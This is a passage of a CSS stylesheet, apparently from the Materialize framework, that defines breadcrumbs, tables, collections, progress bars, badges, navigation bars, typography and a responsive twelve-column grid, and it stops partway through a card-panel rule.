.breadcrumb [class^="mdi-"],
.breadcrumb [class*="mdi-"],
.breadcrumb i.material-icons {
    display: inline-block;
    float: left;
    font-size: 24px
}

.breadcrumb:before {
    content: '\E5CC';
    color: rgba(255, 255, 255, 0.7);
    vertical-align: top;
    display: inline-block;
    font-family: 'Material Icons';
    font-weight: 400;
    font-style: normal;
    font-size: 25px;
    margin: 0 10px 0 8px;
    -webkit-font-smoothing: antialiased
}

.breadcrumb:first-child:before {
    display: none
}

.breadcrumb:last-child {
    color: #fff
}

.parallax-container {
    position: relative;
    overflow: hidden;
    height: 500px
}

.parallax-container .parallax {
    position: absolute;
    top: 0;
    left: 0;
    right: 0;
    bottom: 0;
    z-index: -1
}

.parallax-container .parallax img {
    opacity: 0;
    position: absolute;
    left: 50%;
    bottom: 0;
    min-width: 100%;
    min-height: 100%;
    -webkit-transform: translate3d(0, 0, 0);
    transform: translate3d(0, 0, 0);
    -webkit-transform: translateX(-50%);
    transform: translateX(-50%)
}

.pin-top,
.pin-bottom {
    position: relative
}

.pinned {
    position: fixed !important
}

ul.staggered-list li {
    opacity: 0
}

.fade-in {
    opacity: 0;
    -webkit-transform-origin: 0 50%;
    transform-origin: 0 50%
}

@media only screen and (max-width: 600px) {

    .hide-on-small-only,
    .hide-on-small-and-down {
        display: none !important
    }
}

@media only screen and (max-width: 992px) {
    .hide-on-med-and-down {
        display: none !important
    }
}

@media only screen and (min-width: 601px) {
    .hide-on-med-and-up {
        display: none !important
    }
}

@media only screen and (min-width: 600px) and (max-width: 992px) {
    .hide-on-med-only {
        display: none !important
    }
}

@media only screen and (min-width: 993px) {
    .hide-on-large-only {
        display: none !important
    }
}

@media only screen and (min-width: 1201px) {
    .hide-on-extra-large-only {
        display: none !important
    }

    .show-on-extra-large {
        display: block !important
    }
}

@media only screen and (min-width: 993px) {
    .show-on-large {
        display: block !important
    }
}

@media only screen and (min-width: 600px) and (max-width: 992px) {
    .show-on-medium {
        display: block !important
    }
}

@media only screen and (max-width: 600px) {
    .show-on-small {
        display: block !important
    }
}

@media only screen and (min-width: 601px) {
    .show-on-medium-and-up {
        display: block !important
    }
}

@media only screen and (max-width: 992px) {
    .show-on-medium-and-down {
        display: block !important
    }
}

@media only screen and (max-width: 600px) {
    .center-on-small-only {
        text-align: center
    }
}

.page-footer {
    padding-top: 20px;
    color: #fff;
    background-color: #ee6e73
}

.page-footer .footer-copyright {
    overflow: hidden;
    min-height: 50px;
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
    -webkit-box-align: center;
    -webkit-align-items: center;
    -ms-flex-align: center;
    align-items: center;
    -webkit-box-pack: justify;
    -webkit-justify-content: space-between;
    -ms-flex-pack: justify;
    justify-content: space-between;
    padding: 10px 0;
    color: rgba(255, 255, 255, 0.8);
    background-color: rgba(51, 51, 51, 0.08)
}

table,
th,
td {
    border: none
}

table {
    width: 100%;
    display: table;
    border-collapse: collapse;
    border-spacing: 0
}

table.striped tr {
    border-bottom: none
}

table.striped>tbody>tr:nth-child(odd) {
    background-color: rgba(242, 242, 242, 0.5)
}

table.striped>tbody>tr>td {
    border-radius: 0
}

table.highlight>tbody>tr {
    transition: background-color .25s ease
}

table.highlight>tbody>tr:hover {
    background-color: rgba(242, 242, 242, 0.5)
}

table.centered thead tr th,
table.centered tbody tr td {
    text-align: center
}

td,
th {
    padding: 15px 5px;
    display: table-cell;
    text-align: left;
    vertical-align: middle;
    border-radius: 2px
}

@media only screen and (max-width: 992px) {
    table.responsive-table {
        width: 100%;
        border-collapse: collapse;
        border-spacing: 0;
        display: block;
        position: relative
    }

    table.responsive-table td:empty:before {
        content: '\00a0'
    }

    table.responsive-table th,
    table.responsive-table td {
        margin: 0;
        vertical-align: top
    }

    table.responsive-table th {
        text-align: left
    }

    table.responsive-table thead {
        display: block;
        float: left
    }

    table.responsive-table thead tr {
        display: block;
        padding: 0 10px 0 0
    }

    table.responsive-table thead tr th::before {
        content: "\00a0"
    }

    table.responsive-table tbody {
        display: block;
        width: auto;
        position: relative;
        overflow-x: auto;
        white-space: nowrap
    }

    table.responsive-table tbody tr {
        display: inline-block;
        vertical-align: top
    }

    table.responsive-table th {
        display: block;
        text-align: right
    }

    table.responsive-table td {
        display: block;
        min-height: 1.25em;
        text-align: left
    }

    table.responsive-table tr {
        border-bottom: none;
        padding: 0 10px
    }

    table.responsive-table thead {
        border: 0;
        border-right: 1px solid rgba(0, 0, 0, 0.12)
    }
}

.collection {
    margin: .5rem 0 1rem;
    border: 1px solid #e0e0e0;
    border-radius: 2px;
    overflow: hidden;
    position: relative
}

.collection .collection-item {
    background-color: #fff;
    line-height: 1.5rem;
    padding: 10px 20px;
    margin: 0;
    border-bottom: 1px solid #e0e0e0
}

.collection .collection-item.avatar {
    min-height: 84px;
    padding-left: 72px;
    position: relative
}

.collection .collection-item.avatar:not(.circle-clipper)>.circle,
.collection .collection-item.avatar :not(.circle-clipper)>.circle {
    position: absolute;
    width: 42px;
    height: 42px;
    overflow: hidden;
    left: 15px;
    display: inline-block;
    vertical-align: middle
}

.collection .collection-item.avatar i.circle {
    font-size: 18px;
    line-height: 42px;
    color: #fff;
    background-color: #999;
    text-align: center
}

.collection .collection-item.avatar .title {
    font-size: 16px
}

.collection .collection-item.avatar p {
    margin: 0
}

.collection .collection-item.avatar .secondary-content {
    position: absolute;
    top: 16px;
    right: 16px
}

.collection .collection-item:last-child {
    border-bottom: none
}

.collection .collection-item.active {
    background-color: #26a69a;
    color: #eafaf9
}

.collection .collection-item.active .secondary-content {
    color: #fff
}

.collection a.collection-item {
    display: block;
    transition: .25s;
    color: #26a69a
}

.collection a.collection-item:not(.active):hover {
    background-color: #ddd
}

.collection.with-header .collection-header {
    background-color: #fff;
    border-bottom: 1px solid #e0e0e0;
    padding: 10px 20px
}

.collection.with-header .collection-item {
    padding-left: 30px
}

.collection.with-header .collection-item.avatar {
    padding-left: 72px
}

.secondary-content {
    float: right;
    color: #26a69a
}

.collapsible .collection {
    margin: 0;
    border: none
}

.video-container {
    position: relative;
    padding-bottom: 56.25%;
    height: 0;
    overflow: hidden
}

.video-container iframe,
.video-container object,
.video-container embed {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%
}

.progress {
    position: relative;
    height: 4px;
    display: block;
    width: 100%;
    background-color: #acece6;
    border-radius: 2px;
    margin: .5rem 0 1rem;
    overflow: hidden
}

.progress .determinate {
    position: absolute;
    top: 0;
    left: 0;
    bottom: 0;
    background-color: #26a69a;
    transition: width .3s linear
}

.progress .indeterminate {
    background-color: #26a69a
}

.progress .indeterminate:before {
    content: '';
    position: absolute;
    background-color: inherit;
    top: 0;
    left: 0;
    bottom: 0;
    will-change: left, right;
    animation: indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite
}

.progress .indeterminate:after {
    content: '';
    position: absolute;
    background-color: inherit;
    top: 0;
    left: 0;
    bottom: 0;
    will-change: left, right;
    animation: indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;
    animation-delay: 1.15s
}

@keyframes indeterminate {
    0% {
        left: -35%;
        right: 100%
    }

    60% {
        left: 100%;
        right: -90%
    }

    100% {
        left: 100%;
        right: -90%
    }
}

@keyframes indeterminate-short {
    0% {
        left: -200%;
        right: 100%
    }

    60% {
        left: 107%;
        right: -8%
    }

    100% {
        left: 107%;
        right: -8%
    }
}

.hide {
    display: none !important
}

.left-align {
    text-align: left
}

.right-align {
    text-align: right
}

.center,
.center-align {
    text-align: center
}

.left {
    float: left !important
}

.right {
    float: right !important
}

.no-select,
input[type=range],
input[type=range]+.thumb {
    -webkit-user-select: none;
    -moz-user-select: none;
    -ms-user-select: none;
    user-select: none
}

.circle {
    border-radius: 50%
}

.center-block {
    display: block;
    margin-left: auto;
    margin-right: auto
}

.truncate {
    display: block;
    white-space: nowrap;
    overflow: hidden;
    text-overflow: ellipsis
}

.no-padding {
    padding: 0 !important
}

span.badge {
    min-width: 3rem;
    padding: 0 6px;
    margin-left: 14px;
    text-align: center;
    font-size: 1rem;
    line-height: 22px;
    height: 22px;
    color: #757575;
    float: right;
    -webkit-box-sizing: border-box;
    box-sizing: border-box
}

span.badge.new {
    font-weight: 300;
    font-size: .8rem;
    color: #fff;
    background-color: #26a69a;
    border-radius: 2px
}

span.badge.new:after {
    content: " new"
}

span.badge[data-badge-caption]::after {
    content: " " attr(data-badge-caption)
}

nav ul a span.badge {
    display: inline-block;
    float: none;
    margin-left: 4px;
    line-height: 22px;
    height: 22px;
    -webkit-font-smoothing: auto
}

.collection-item span.badge {
    margin-top: calc(.75rem - 11px)
}

.collapsible span.badge {
    margin-left: auto
}

.sidenav span.badge {
    margin-top: calc(24px - 11px)
}

table span.badge {
    display: inline-block;
    float: none;
    margin-left: auto
}

.material-icons {
    text-rendering: optimizeLegibility;
    -webkit-font-feature-settings: liga;
    -moz-font-feature-settings: liga;
    font-feature-settings: liga
}

.container {
    margin: 0 auto;
    max-width: 1280px;
    width: 90%
}

@media only screen and (min-width: 601px) {
    .container {
        width: 85%
    }
}

@media only screen and (min-width: 993px) {
    .container {
        width: 70%
    }
}

.col .row {
    margin-left: -.75rem;
    margin-right: -.75rem
}

.section {
    padding-top: 1rem;
    padding-bottom: 1rem
}

.section.no-pad {
    padding: 0
}

.section.no-pad-bot {
    padding-bottom: 0
}

.section.no-pad-top {
    padding-top: 0
}

.row {
    margin-left: auto;
    margin-right: auto;
    margin-bottom: 20px
}

.row:after {
    content: "";
    display: table;
    clear: both
}

.row .col {
    float: left;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    padding: 0 .75rem;
    min-height: 1px
}

.row .col[class*="push-"],
.row .col[class*="pull-"] {
    position: relative
}

.row .col.s1 {
    width: 8.3333333333%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s2 {
    width: 16.6666666667%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s3 {
    width: 25%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s4 {
    width: 33.3333333333%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s5 {
    width: 41.6666666667%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s6 {
    width: 50%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s7 {
    width: 58.3333333333%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s8 {
    width: 66.6666666667%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s9 {
    width: 75%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s10 {
    width: 83.3333333333%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s11 {
    width: 91.6666666667%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.s12 {
    width: 100%;
    margin-left: auto;
    left: auto;
    right: auto
}

.row .col.offset-s1 {
    margin-left: 8.3333333333%
}

.row .col.pull-s1 {
    right: 8.3333333333%
}

.row .col.push-s1 {
    left: 8.3333333333%
}

.row .col.offset-s2 {
    margin-left: 16.6666666667%
}

.row .col.pull-s2 {
    right: 16.6666666667%
}

.row .col.push-s2 {
    left: 16.6666666667%
}

.row .col.offset-s3 {
    margin-left: 25%
}

.row .col.pull-s3 {
    right: 25%
}

.row .col.push-s3 {
    left: 25%
}

.row .col.offset-s4 {
    margin-left: 33.3333333333%
}

.row .col.pull-s4 {
    right: 33.3333333333%
}

.row .col.push-s4 {
    left: 33.3333333333%
}

.row .col.offset-s5 {
    margin-left: 41.6666666667%
}

.row .col.pull-s5 {
    right: 41.6666666667%
}

.row .col.push-s5 {
    left: 41.6666666667%
}

.row .col.offset-s6 {
    margin-left: 50%
}

.row .col.pull-s6 {
    right: 50%
}

.row .col.push-s6 {
    left: 50%
}

.row .col.offset-s7 {
    margin-left: 58.3333333333%
}

.row .col.pull-s7 {
    right: 58.3333333333%
}

.row .col.push-s7 {
    left: 58.3333333333%
}

.row .col.offset-s8 {
    margin-left: 66.6666666667%
}

.row .col.pull-s8 {
    right: 66.6666666667%
}

.row .col.push-s8 {
    left: 66.6666666667%
}

.row .col.offset-s9 {
    margin-left: 75%
}

.row .col.pull-s9 {
    right: 75%
}

.row .col.push-s9 {
    left: 75%
}

.row .col.offset-s10 {
    margin-left: 83.3333333333%
}

.row .col.pull-s10 {
    right: 83.3333333333%
}

.row .col.push-s10 {
    left: 83.3333333333%
}

.row .col.offset-s11 {
    margin-left: 91.6666666667%
}

.row .col.pull-s11 {
    right: 91.6666666667%
}

.row .col.push-s11 {
    left: 91.6666666667%
}

.row .col.offset-s12 {
    margin-left: 100%
}

.row .col.pull-s12 {
    right: 100%
}

.row .col.push-s12 {
    left: 100%
}

@media only screen and (min-width: 601px) {
    .row .col.m1 {
        width: 8.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m2 {
        width: 16.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m3 {
        width: 25%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m4 {
        width: 33.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m5 {
        width: 41.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m6 {
        width: 50%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m7 {
        width: 58.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m8 {
        width: 66.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m9 {
        width: 75%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m10 {
        width: 83.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m11 {
        width: 91.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.m12 {
        width: 100%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.offset-m1 {
        margin-left: 8.3333333333%
    }

    .row .col.pull-m1 {
        right: 8.3333333333%
    }

    .row .col.push-m1 {
        left: 8.3333333333%
    }

    .row .col.offset-m2 {
        margin-left: 16.6666666667%
    }

    .row .col.pull-m2 {
        right: 16.6666666667%
    }

    .row .col.push-m2 {
        left: 16.6666666667%
    }

    .row .col.offset-m3 {
        margin-left: 25%
    }

    .row .col.pull-m3 {
        right: 25%
    }

    .row .col.push-m3 {
        left: 25%
    }

    .row .col.offset-m4 {
        margin-left: 33.3333333333%
    }

    .row .col.pull-m4 {
        right: 33.3333333333%
    }

    .row .col.push-m4 {
        left: 33.3333333333%
    }

    .row .col.offset-m5 {
        margin-left: 41.6666666667%
    }

    .row .col.pull-m5 {
        right: 41.6666666667%
    }

    .row .col.push-m5 {
        left: 41.6666666667%
    }

    .row .col.offset-m6 {
        margin-left: 50%
    }

    .row .col.pull-m6 {
        right: 50%
    }

    .row .col.push-m6 {
        left: 50%
    }

    .row .col.offset-m7 {
        margin-left: 58.3333333333%
    }

    .row .col.pull-m7 {
        right: 58.3333333333%
    }

    .row .col.push-m7 {
        left: 58.3333333333%
    }

    .row .col.offset-m8 {
        margin-left: 66.6666666667%
    }

    .row .col.pull-m8 {
        right: 66.6666666667%
    }

    .row .col.push-m8 {
        left: 66.6666666667%
    }

    .row .col.offset-m9 {
        margin-left: 75%
    }

    .row .col.pull-m9 {
        right: 75%
    }

    .row .col.push-m9 {
        left: 75%
    }

    .row .col.offset-m10 {
        margin-left: 83.3333333333%
    }

    .row .col.pull-m10 {
        right: 83.3333333333%
    }

    .row .col.push-m10 {
        left: 83.3333333333%
    }

    .row .col.offset-m11 {
        margin-left: 91.6666666667%
    }

    .row .col.pull-m11 {
        right: 91.6666666667%
    }

    .row .col.push-m11 {
        left: 91.6666666667%
    }

    .row .col.offset-m12 {
        margin-left: 100%
    }

    .row .col.pull-m12 {
        right: 100%
    }

    .row .col.push-m12 {
        left: 100%
    }
}

@media only screen and (min-width: 993px) {
    .row .col.l1 {
        width: 8.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l2 {
        width: 16.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l3 {
        width: 25%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l4 {
        width: 33.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l5 {
        width: 41.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l6 {
        width: 50%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l7 {
        width: 58.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l8 {
        width: 66.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l9 {
        width: 75%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l10 {
        width: 83.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l11 {
        width: 91.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.l12 {
        width: 100%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.offset-l1 {
        margin-left: 8.3333333333%
    }

    .row .col.pull-l1 {
        right: 8.3333333333%
    }

    .row .col.push-l1 {
        left: 8.3333333333%
    }

    .row .col.offset-l2 {
        margin-left: 16.6666666667%
    }

    .row .col.pull-l2 {
        right: 16.6666666667%
    }

    .row .col.push-l2 {
        left: 16.6666666667%
    }

    .row .col.offset-l3 {
        margin-left: 25%
    }

    .row .col.pull-l3 {
        right: 25%
    }

    .row .col.push-l3 {
        left: 25%
    }

    .row .col.offset-l4 {
        margin-left: 33.3333333333%
    }

    .row .col.pull-l4 {
        right: 33.3333333333%
    }

    .row .col.push-l4 {
        left: 33.3333333333%
    }

    .row .col.offset-l5 {
        margin-left: 41.6666666667%
    }

    .row .col.pull-l5 {
        right: 41.6666666667%
    }

    .row .col.push-l5 {
        left: 41.6666666667%
    }

    .row .col.offset-l6 {
        margin-left: 50%
    }

    .row .col.pull-l6 {
        right: 50%
    }

    .row .col.push-l6 {
        left: 50%
    }

    .row .col.offset-l7 {
        margin-left: 58.3333333333%
    }

    .row .col.pull-l7 {
        right: 58.3333333333%
    }

    .row .col.push-l7 {
        left: 58.3333333333%
    }

    .row .col.offset-l8 {
        margin-left: 66.6666666667%
    }

    .row .col.pull-l8 {
        right: 66.6666666667%
    }

    .row .col.push-l8 {
        left: 66.6666666667%
    }

    .row .col.offset-l9 {
        margin-left: 75%
    }

    .row .col.pull-l9 {
        right: 75%
    }

    .row .col.push-l9 {
        left: 75%
    }

    .row .col.offset-l10 {
        margin-left: 83.3333333333%
    }

    .row .col.pull-l10 {
        right: 83.3333333333%
    }

    .row .col.push-l10 {
        left: 83.3333333333%
    }

    .row .col.offset-l11 {
        margin-left: 91.6666666667%
    }

    .row .col.pull-l11 {
        right: 91.6666666667%
    }

    .row .col.push-l11 {
        left: 91.6666666667%
    }

    .row .col.offset-l12 {
        margin-left: 100%
    }

    .row .col.pull-l12 {
        right: 100%
    }

    .row .col.push-l12 {
        left: 100%
    }
}

@media only screen and (min-width: 1201px) {
    .row .col.xl1 {
        width: 8.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl2 {
        width: 16.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl3 {
        width: 25%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl4 {
        width: 33.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl5 {
        width: 41.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl6 {
        width: 50%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl7 {
        width: 58.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl8 {
        width: 66.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl9 {
        width: 75%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl10 {
        width: 83.3333333333%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl11 {
        width: 91.6666666667%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.xl12 {
        width: 100%;
        margin-left: auto;
        left: auto;
        right: auto
    }

    .row .col.offset-xl1 {
        margin-left: 8.3333333333%
    }

    .row .col.pull-xl1 {
        right: 8.3333333333%
    }

    .row .col.push-xl1 {
        left: 8.3333333333%
    }

    .row .col.offset-xl2 {
        margin-left: 16.6666666667%
    }

    .row .col.pull-xl2 {
        right: 16.6666666667%
    }

    .row .col.push-xl2 {
        left: 16.6666666667%
    }

    .row .col.offset-xl3 {
        margin-left: 25%
    }

    .row .col.pull-xl3 {
        right: 25%
    }

    .row .col.push-xl3 {
        left: 25%
    }

    .row .col.offset-xl4 {
        margin-left: 33.3333333333%
    }

    .row .col.pull-xl4 {
        right: 33.3333333333%
    }

    .row .col.push-xl4 {
        left: 33.3333333333%
    }

    .row .col.offset-xl5 {
        margin-left: 41.6666666667%
    }

    .row .col.pull-xl5 {
        right: 41.6666666667%
    }

    .row .col.push-xl5 {
        left: 41.6666666667%
    }

    .row .col.offset-xl6 {
        margin-left: 50%
    }

    .row .col.pull-xl6 {
        right: 50%
    }

    .row .col.push-xl6 {
        left: 50%
    }

    .row .col.offset-xl7 {
        margin-left: 58.3333333333%
    }

    .row .col.pull-xl7 {
        right: 58.3333333333%
    }

    .row .col.push-xl7 {
        left: 58.3333333333%
    }

    .row .col.offset-xl8 {
        margin-left: 66.6666666667%
    }

    .row .col.pull-xl8 {
        right: 66.6666666667%
    }

    .row .col.push-xl8 {
        left: 66.6666666667%
    }

    .row .col.offset-xl9 {
        margin-left: 75%
    }

    .row .col.pull-xl9 {
        right: 75%
    }

    .row .col.push-xl9 {
        left: 75%
    }

    .row .col.offset-xl10 {
        margin-left: 83.3333333333%
    }

    .row .col.pull-xl10 {
        right: 83.3333333333%
    }

    .row .col.push-xl10 {
        left: 83.3333333333%
    }

    .row .col.offset-xl11 {
        margin-left: 91.6666666667%
    }

    .row .col.pull-xl11 {
        right: 91.6666666667%
    }

    .row .col.push-xl11 {
        left: 91.6666666667%
    }

    .row .col.offset-xl12 {
        margin-left: 100%
    }

    .row .col.pull-xl12 {
        right: 100%
    }

    .row .col.push-xl12 {
        left: 100%
    }
}

nav {
    color: #fff;
    background-color: #ee6e73;
    width: 100%;
    height: 56px;
    line-height: 56px
}

nav.nav-extended {
    height: auto
}

nav.nav-extended .nav-wrapper {
    min-height: 56px;
    height: auto
}

nav.nav-extended .nav-content {
    position: relative;
    line-height: normal
}

nav a {
    color: #fff
}

nav i,
nav [class^="mdi-"],
nav [class*="mdi-"],
nav i.material-icons {
    display: block;
    font-size: 24px;
    height: 56px;
    line-height: 56px
}

nav .nav-wrapper {
    position: relative;
    height: 100%
}

@media only screen and (min-width: 993px) {
    nav a.sidenav-trigger {
        display: none
    }
}

nav .sidenav-trigger {
    float: left;
    position: relative;
    z-index: 1;
    height: 56px;
    margin: 0 18px
}

nav .sidenav-trigger i {
    height: 56px;
    line-height: 56px
}

nav .brand-logo {
    position: absolute;
    color: #fff;
    display: inline-block;
    font-size: 2.1rem;
    padding: 0
}

nav .brand-logo.center {
    left: 50%;
    -webkit-transform: translateX(-50%);
    transform: translateX(-50%)
}

@media only screen and (max-width: 992px) {
    nav .brand-logo {
        left: 50%;
        -webkit-transform: translateX(-50%);
        transform: translateX(-50%)
    }

    nav .brand-logo.left,
    nav .brand-logo.right {
        padding: 0;
        -webkit-transform: none;
        transform: none
    }

    nav .brand-logo.left {
        left: .5rem
    }

    nav .brand-logo.right {
        right: .5rem;
        left: auto
    }
}

nav .brand-logo.right {
    right: .5rem;
    padding: 0
}

nav .brand-logo i,
nav .brand-logo [class^="mdi-"],
nav .brand-logo [class*="mdi-"],
nav .brand-logo i.material-icons {
    float: left;
    margin-right: 15px
}

nav .nav-title {
    display: inline-block;
    font-size: 32px;
    padding: 28px 0
}

nav ul {
    margin: 0
}

nav ul li {
    transition: background-color .3s;
    float: left;
    padding: 0
}

nav ul li.active {
    background-color: rgba(0, 0, 0, 0.1)
}

nav ul a {
    transition: background-color .3s;
    font-size: 1rem;
    color: #fff;
    display: block;
    padding: 0 15px;
    cursor: pointer
}

nav ul a.btn,
nav ul a.btn-large,
nav ul a.btn-small,
nav ul a.btn-large,
nav ul a.btn-flat,
nav ul a.btn-floating {
    margin-top: -2px;
    margin-left: 15px;
    margin-right: 15px
}

nav ul a.btn>.material-icons,
nav ul a.btn-large>.material-icons,
nav ul a.btn-small>.material-icons,
nav ul a.btn-large>.material-icons,
nav ul a.btn-flat>.material-icons,
nav ul a.btn-floating>.material-icons {
    height: inherit;
    line-height: inherit
}

nav ul a:hover {
    background-color: rgba(0, 0, 0, 0.1)
}

nav ul.left {
    float: left
}

nav form {
    height: 100%
}

nav .input-field {
    margin: 0;
    height: 100%
}

nav .input-field input {
    height: 100%;
    font-size: 1.2rem;
    border: none;
    padding-left: 2rem
}

nav .input-field input:focus,
nav .input-field input[type=text]:valid,
nav .input-field input[type=password]:valid,
nav .input-field input[type=email]:valid,
nav .input-field input[type=url]:valid,
nav .input-field input[type=date]:valid {
    border: none;
    box-shadow: none
}

nav .input-field label {
    top: 0;
    left: 0
}

nav .input-field label i {
    color: rgba(255, 255, 255, 0.7);
    transition: color .3s
}

nav .input-field label.active i {
    color: #fff
}

.navbar-fixed {
    position: relative;
    height: 56px;
    z-index: 997
}

.navbar-fixed nav {
    position: fixed
}

@media only screen and (min-width: 601px) {
    nav.nav-extended .nav-wrapper {
        min-height: 64px
    }

    nav,
    nav .nav-wrapper i,
    nav a.sidenav-trigger,
    nav a.sidenav-trigger i {
        height: 64px;
        line-height: 64px
    }

    .navbar-fixed {
        height: 64px
    }
}

a {
    text-decoration: none
}

html {
    line-height: 1.5;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
    font-weight: 400;
    color: rgba(0, 0, 0, 0.87)
}

@media only screen and (min-width: 0) {
    html {
        font-size: 14px
    }
}

@media only screen and (min-width: 992px) {
    html {
        font-size: 14.5px
    }
}

@media only screen and (min-width: 1200px) {
    html {
        font-size: 15px
    }
}

h1,
h2,
h3,
h4,
h5,
h6 {
    font-weight: 400;
    line-height: 1.3
}

h1 a,
h2 a,
h3 a,
h4 a,
h5 a,
h6 a {
    font-weight: inherit
}

h1 {
    font-size: 4.2rem;
    line-height: 110%;
    margin: 2.8rem 0 1.68rem
}

h2 {
    font-size: 3.56rem;
    line-height: 110%;
    margin: 2.3733333333rem 0 1.424rem
}

h3 {
    font-size: 2.92rem;
    line-height: 110%;
    margin: 1.9466666667rem 0 1.168rem
}

h4 {
    font-size: 2.28rem;
    line-height: 110%;
    margin: 1.52rem 0 .912rem
}

h5 {
    font-size: 1.64rem;
    line-height: 110%;
    margin: 1.0933333333rem 0 .656rem
}

h6 {
    font-size: 1.15rem;
    line-height: 110%;
    margin: .7666666667rem 0 .46rem
}

em {
    font-style: italic
}

strong {
    font-weight: 500
}

small {
    font-size: 75%
}

.light {
    font-weight: 300
}

.thin {
    font-weight: 200
}

@media only screen and (min-width: 360px) {
    .flow-text {
        font-size: 1.2rem
    }
}

@media only screen and (min-width: 390px) {
    .flow-text {
        font-size: 1.224rem
    }
}

@media only screen and (min-width: 420px) {
    .flow-text {
        font-size: 1.248rem
    }
}

@media only screen and (min-width: 450px) {
    .flow-text {
        font-size: 1.272rem
    }
}

@media only screen and (min-width: 480px) {
    .flow-text {
        font-size: 1.296rem
    }
}

@media only screen and (min-width: 510px) {
    .flow-text {
        font-size: 1.32rem
    }
}

@media only screen and (min-width: 540px) {
    .flow-text {
        font-size: 1.344rem
    }
}

@media only screen and (min-width: 570px) {
    .flow-text {
        font-size: 1.368rem
    }
}

@media only screen and (min-width: 600px) {
    .flow-text {
        font-size: 1.392rem
    }
}

@media only screen and (min-width: 630px) {
    .flow-text {
        font-size: 1.416rem
    }
}

@media only screen and (min-width: 660px) {
    .flow-text {
        font-size: 1.44rem
    }
}

@media only screen and (min-width: 690px) {
    .flow-text {
        font-size: 1.464rem
    }
}

@media only screen and (min-width: 720px) {
    .flow-text {
        font-size: 1.488rem
    }
}

@media only screen and (min-width: 750px) {
    .flow-text {
        font-size: 1.512rem
    }
}

@media only screen and (min-width: 780px) {
    .flow-text {
        font-size: 1.536rem
    }
}

@media only screen and (min-width: 810px) {
    .flow-text {
        font-size: 1.56rem
    }
}

@media only screen and (min-width: 840px) {
    .flow-text {
        font-size: 1.584rem
    }
}

@media only screen and (min-width: 870px) {
    .flow-text {
        font-size: 1.608rem
    }
}

@media only screen and (min-width: 900px) {
    .flow-text {
        font-size: 1.632rem
    }
}

@media only screen and (min-width: 930px) {
    .flow-text {
        font-size: 1.656rem
    }
}

@media only screen and (min-width: 960px) {
    .flow-text {
        font-size: 1.68rem
    }
}

@media only screen and (max-width: 360px) {
    .flow-text {
        font-size: 1.2rem
    }
}

.scale-transition {
    transition: -webkit-transform .3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;
    transition: transform .3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important;
    transition: transform .3s cubic-bezier(0.53, 0.01, 0.36, 1.63), -webkit-transform .3s cubic-bezier(0.53, 0.01, 0.36, 1.63) !important
}

.scale-transition.scale-out {
    -webkit-transform: scale(0);
    transform: scale(0);
    transition: -webkit-transform .2s !important;
    transition: transform .2s !important;
    transition: transform .2s, -webkit-transform .2s !important
}

.scale-transition.scale-in {
    -webkit-transform: scale(1);
    transform: scale(1)
}

.card-panel {
    transition: -webkit-box-shadow .25s;
